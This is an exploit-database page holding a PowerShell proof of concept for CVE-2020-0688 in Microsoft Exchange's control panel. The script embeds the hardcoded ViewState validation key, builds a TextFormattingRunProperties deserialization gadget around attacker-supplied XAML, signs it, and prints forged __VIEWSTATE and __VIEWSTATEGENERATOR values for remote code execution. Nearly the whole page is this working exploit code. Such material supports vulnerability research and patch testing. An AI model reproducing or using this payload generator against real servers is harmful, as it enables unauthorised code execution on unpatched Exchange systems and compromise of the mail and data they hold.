Exploit database

GH-cf2f66a8b3c03659f8bd72efa1f48003

mahyarx/exploit_cve-2020-0688

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2020-0688

37 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
mahyarx/exploit_cve-2020-0688Revision 0a5dba709de3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2020-0688.ps1

Suggested starting filePowerShell · 3,952 bytes
 param (
    [string]$xaml = "Set-Header.xml",
	[string]$uri = "default"
 )
 
Add-Type -TypeDefinition @"
using System;
using System.Text;
using System.IO;
using System.Security.Cryptography;
using System.Net;
using System.Runtime.Serialization;
using System.Web;
using System.Globalization;
using System.Security.Cryptography.X509Certificates;
using System.Net.Security;
using System.Runtime.Serialization.Formatters.Binary;
using System.Reflection;

[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
	protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { }
	string _xaml;
	public void GetObjectData(SerializationInfo info, StreamingContext context)
	{
	    Assembly assembly = Assembly.LoadFrom("Microsoft.PowerShell.Editor.dll");
	    info.SetType(assembly.GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties"));
	    info.AddValue("ForegroundBrush", _xaml);
	}
	public TextFormattingRunPropertiesMarshal(string xaml)
	{
	    _xaml = xaml;
	}
}

public static class Exploit
{
        static byte[] mkey = null;
        static byte[] UpdateMacKey(string userkey,uint sid_in)
        {
            if (userkey != null)
            {
                int byteCount = Encoding.Unicode.GetByteCount(userkey);
                mkey = new byte[byteCount + 4];
                Encoding.Unicode.GetBytes(userkey, 0, userkey.Length, mkey, 4);
            }
            else
            {
                mkey = new byte[4];
            }
            mkey[0] = (byte)sid_in;
            mkey[1] = (byte)(sid_in >> 8);
            mkey[2] = (byte)(sid_in >> 16);
            mkey[3] = (byte)(sid_in >> 24);
            return mkey;
        }
        static string CreateViewState(byte[] dat,byte[] mkey_in)
        {

            MemoryStream ms = new MemoryStream();
            ms.WriteByte(0xff);
            ms.WriteByte(0x01);
            ms.WriteByte(0x32);
            uint num = (uint)dat.Length;
            while (num >= 0x80)
            {
                ms.WriteByte((byte)(num | 0x80));
                num = num >> 0x7;
            }
            ms.WriteByte((byte)num);
            ms.Write(dat, 0, dat.Length);
            byte[] data = ms.ToArray();
            byte[] validationKey = new byte[] { 0xCB, 0x27, 0x21, 0xAB, 0xDA, 0xF8, 0xE9, 0xDC, 0x51, 0x6D, 0x62, 0x1D, 0x8B, 0x8B, 0xF1, 0x3A, 0x2C, 0x9E, 0x86, 0x89, 0xA2, 0x53, 0x03, 0xBF };

            ms = new MemoryStream();
            ms.Write(data, 0, data.Length);

            ms.Write(mkey_in, 0, mkey_in.Length);
            byte[] hash = (new HMACSHA1(validationKey)).ComputeHash(ms.ToArray());
            ms = new MemoryStream();
            ms.Write(data, 0, data.Length);
            ms.Write(hash, 0, hash.Length);
            return Convert.ToBase64String(ms.ToArray());
        }
        static byte[] Serialize(object obj)
        {
            using (MemoryStream mem = new MemoryStream())
            {
                BinaryFormatter bf = new BinaryFormatter();
                bf.Serialize(mem, obj);
                return mem.ToArray();
            }
        }
	public static void Run(String xaml, String uri)
	{
            int hashcode = StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp");
            uint sid = (uint)(hashcode + StringComparer.InvariantCultureIgnoreCase.GetHashCode(uri + "_aspx"));
            Console.WriteLine("__VIEWSTATEGENERATOR=");
            Console.WriteLine(sid.ToString("X2"));
            Console.WriteLine("");
            byte[] mkey_out = UpdateMacKey(null,sid);
            string data = CreateViewState(Serialize(new TextFormattingRunPropertiesMarshal(File.ReadAllText(xaml))),mkey_out);
            Console.WriteLine("__VIEWSTATE=");
            Console.WriteLine(data);
	}

}

"@
[Exploit]::Run($xaml,$uri)